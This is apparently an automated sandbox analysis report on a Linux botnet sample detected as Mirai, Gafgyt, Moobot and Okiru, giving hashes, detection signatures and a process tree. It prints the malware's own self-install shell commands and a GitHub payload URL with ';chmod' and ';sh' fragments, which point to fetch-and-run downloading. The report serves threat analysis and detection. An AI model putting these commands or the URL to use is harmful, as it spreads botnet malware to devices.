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Linux Analysis Report
.5r3fqt67ew531has4231.mpsl.elf

Overview

General Information

Sample name:	.5r3fqt67ew531has4231.mpsl.elf
Analysis ID:	1572617
MD5:	663ac1bdb34abacde4a22fc79864e968
SHA1:	5772847c44e6d5d560c6a89595fd621ced0c9e1d
SHA256:	451c5699be2feac88af56d5cbfbb5efc9561794ec93844d1a010d9e6bc815f57
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai, Moobot, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Yara detected Moobot

Yara detected Okiru

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample listens on a socket

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572617
Start date and time:	2024-12-10 18:24:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	.5r3fqt67ew531has4231.mpsl.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: .5r3fqt67ew531has4231.mpsl.elf

Runtime Messages

Command:	/tmp/.5r3fqt67ew531has4231.mpsl.elf
PID:	5450
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The_Neko_Government_Initialised_The_Bot
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5424, Parent: 3581)

rm (PID: 5424, Parent: 3581, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.MLUwFpj4Yn /tmp/tmp.6lbeKTnKC1 /tmp/tmp.0oMEmhu7RZ

dash New Fork (PID: 5425, Parent: 3581)

rm (PID: 5425, Parent: 3581, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.MLUwFpj4Yn /tmp/tmp.6lbeKTnKC1 /tmp/tmp.0oMEmhu7RZ

.5r3fqt67ew531has4231.mpsl.elf (PID: 5450, Parent: 5348, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/.5r3fqt67ew531has4231.mpsl.elf

.5r3fqt67ew531has4231.mpsl.elf New Fork (PID: 5452, Parent: 5450)

sh (PID: 5452, Parent: 5450, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/.5r3fqt67ew531has4231.mpsl.elf bin/busybox; chmod 777 bin/busybox"

sh New Fork (PID: 5454, Parent: 5452)

rm (PID: 5454, Parent: 5452, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/busybox

sh New Fork (PID: 5455, Parent: 5452)

mkdir (PID: 5455, Parent: 5452, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 5456, Parent: 5452)

mv (PID: 5456, Parent: 5452, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/.5r3fqt67ew531has4231.mpsl.elf bin/busybox

sh New Fork (PID: 5457, Parent: 5452)

chmod (PID: 5457, Parent: 5452, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/busybox

.5r3fqt67ew531has4231.mpsl.elf New Fork (PID: 5458, Parent: 5450)

.5r3fqt67ew531has4231.mpsl.elf New Fork (PID: 5460, Parent: 5458)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
.5r3fqt67ew531has4231.mpsl.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
.5r3fqt67ew531has4231.mpsl.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
.5r3fqt67ew531has4231.mpsl.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
.5r3fqt67ew531has4231.mpsl.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
.5r3fqt67ew531has4231.mpsl.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
.5r3fqt67ew531has4231.mpsl.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
.5r3fqt67ew531has4231.mpsl.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
.5r3fqt67ew531has4231.mpsl.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x332f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3330c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33320:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33334:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33348:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3335c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33370:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33384:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33398:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33410:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33424:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33438:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3344c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33460:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33474:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33488:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
.5r3fqt67ew531has4231.mpsl.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x36ed8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x332f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3330c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33320:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33334:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33348:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3335c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33370:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33384:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33398:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33410:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33424:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33438:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3344c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33460:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33474:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33488:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5458.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x36ed8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x332f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3330c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33320:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33334:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33348:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3335c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33370:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33384:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33398:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x333fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33410:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33424:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33438:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3344c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33460:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33474:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33488:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5450.1.00007ffa6c400000.00007ffa6c43a000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x36ed8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5450	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xc1f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc20b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc21f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc233:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc247:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc25b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc26f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc283:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc297:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc2ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc2bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc2d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc2e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc2fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc30f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc323:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc337:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc34b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc35f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc373:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc387:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: .5r3fqt67ew531has4231.mpsl.elf PID: 5458	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8cd4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8ce8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8cfc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8db0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 27 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: .5r3fqt67ew531has4231.mpsl.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: .5r3fqt67ew531has4231.mpsl.elf

ReversingLabs: Detection: 60%

Source: /tmp/.5r3fqt67ew531has4231.mpsl.elf (PID: 5450)

Socket: 0.0.0.0:64230

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7$
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;chmod
Source: .5r3fqt67ew531has4231.mpsl.elf	String found in binary or memory: https://github.com/rapoffbeat/special-stuff/raw/refs/heads/main/.5r3fqt67ew531has4231.arm7;sh$
